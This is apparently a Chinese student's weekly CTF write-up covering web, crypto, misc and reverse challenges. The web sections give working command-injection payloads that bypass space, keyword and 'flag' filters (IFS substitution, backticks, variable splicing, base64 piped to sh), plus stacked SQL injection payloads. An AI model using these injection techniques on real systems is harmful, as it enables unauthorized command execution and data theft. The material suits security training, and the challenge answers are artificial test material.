第五周 3.30
目录
web
[GXYCTF2019]Ping Ping Ping
ip 想到ping 在url上ping
成功
?ip=127.0.0.1;ls
发现flag文件 尝试访问
骂我们说明过滤了
我们先看看能不能访问index.php
发现也不行
开始尝试过滤
过滤空格
$IFS$9
${IFS}
$IFS$1
payload
127.0.0.1;cat$IFS$9index.php
成功 说明过滤了空格
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|
\{|\}/", $ip, $match);不能出现这些符号
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){ 不能出现//
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ 不能出现/bush/
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ 不能出现有关flag的字
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
我们开始构造
1.内联执行
127.0.0.1;cat$IFS$9`ls`
``的作用就是将ls执行完返回
相当于
127.0.0.1;cat$IFS$9flag.php,index.php
会返回命令执行完的
执行成功 源代码发现flag
2.变量拼接
因为过滤了flag 所以我们将变量赋值 然后进行拼接
payload
127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
a= ag b = fa 变量赋值
$b$a 引用变量
相当于 flag
源代码中发现
3.base绕过
echo 输出命令
cat flag.php 进行base64 Y2F0IGZsYWcucGhw
base64 -d 解密base64执行
sh 是shell命令语言解释器 通过这个执行base64 -d
所以payload
127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
| 为管道符 直接执行命令 |左边命令的输出就会作为|右边命令的输入
[SUCTF 2019]EasySQL
打开环境
输入 1
输入0
我们尝试万能密码
1' or 1=1#
不行 我们继续尝试随便注学会的堆叠注入
1;show databases;
注意这里是 database s 要加上s
爆出库 接着爆表
1;show tables;
得到 我们尝试直接获取flag
1;show columns from Flag;
返回了nonono 说明过滤了 flag
我们开始猜测内置sql语句
输入 1 得到数据
输入 0 nonono
a||b MYSQL 中 || = 或
1||1 = 1 1||0 = 1 0||0 = 0
所以我们猜测
select 输入 || 列 from 表
select 1 ||flag from Flag
这样 如果输入正确 就会输出 1
如果错误 就会输出 0 即 nonono
1*,1
我们猜到后台命令 我们可以尝试更改
select 1 ||flag from Flag
select *,1 ||flag from Flag
这样 就会返回所有的数据
2.更改 || 类型
在mysql中 || 为 或
我们只要把 || 改为连接符就行了 他就会返回数值
sql_mode=PIPES_AS_CONCAT来转换操作符的作用
1;set sql_mode=PIPES_AS_CONCAT;select 1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 ||flag from Flag
得到flag
Crypto
摩丝
password
姓名:张三
生日:19900315
key格式为key{xxxxxxxxxx}
flag{zs19900315}
Misc
N种方法解决
下载改后缀得到
发现图片 和base64
搜索base64转图片 解码得到二维码
查看后得到key
乌镇峰会种图
下载后得到图片
确定只是图片
放入Stegsolve
得到flag
Reverse
新年快乐
下载文件进行查壳
发现是upx 我们使用upx脱壳
放入ida32
反编译后得到代码
代码审计
{
int result; // eax
char v4; // [esp+12h] [ebp-3Ah]
__int16 v5; // [esp+20h] [ebp-2Ch]
__int16 v6; // [esp+22h] [ebp-2Ah]
__main();
strcpy(&v4, "HappyNewYear!"); v4替换为"HappyNewYear!"
v5 = 0;
memset(&v6, 0, 0x1Eu);
printf("please input the true flag:");
scanf("%s", &v5);
if ( !strncmp((const char *)&v5, &v4, strlen(&v4)) )
判断flag
strncmp 是进行字符串比较 如果两个字符串相同 就输出0 !0=1 所以要相同
所以输入的是v4 就是HappyNewYear
result = puts("this is true flag!");
else
result = puts("wrong!");
return resul
所以flag就是
flag{HappyNewYear!}
xor
放入ida64 反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int result; // eax
signed int i; // [rsp+2Ch] [rbp-124h]
char v6[264]; // [rsp+40h] [rbp-110h]
__int64 v7; // [rsp+148h] [rbp-8h]
memset(v6, 0, 0x100uLL);
v3 = (char *)256;
printf("Input your flag:\n", 0LL);
get_line(v6, 256LL);
if ( strlen(v6) != 33 )
goto LABEL_12;
for ( i = 1; i < 33; ++i )
v6[i] ^= v6[i - 1];
v3 = global;
if ( !strncmp(v6, global, 0x21uLL) )
printf("Success", v3);
else
LABEL_12:
printf("Failed", v3);
result = __stack_chk_guard;
if ( __stack_chk_guard == v7 )
result = 0;
return result;
}
我们查看成功语句 发现和v6有关 我们上去查看哪里有改v6的地方
for ( i = 1; i < 33; ++i )
v6[i] ^= v6[i - 1];
找到了 然后我们去查找 global
双击进去
继续双击
得到了判断的
我们进行exp
s =['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']
flag='f' #第一个不进行异或
for i in range(1,len(s)):
if(isinstance(s[i],int)): #判断s里的是不是int类型
s[i]=chr(s[i]) #把int类型边为chr
for i in range(1,len(s)):
flag+=chr(ord(s[i])^ord(s[i-1])) #根据题目进行异或运算
print(flag)
得到flag
flag{QianQiuWanDai_YiTongJiangHu}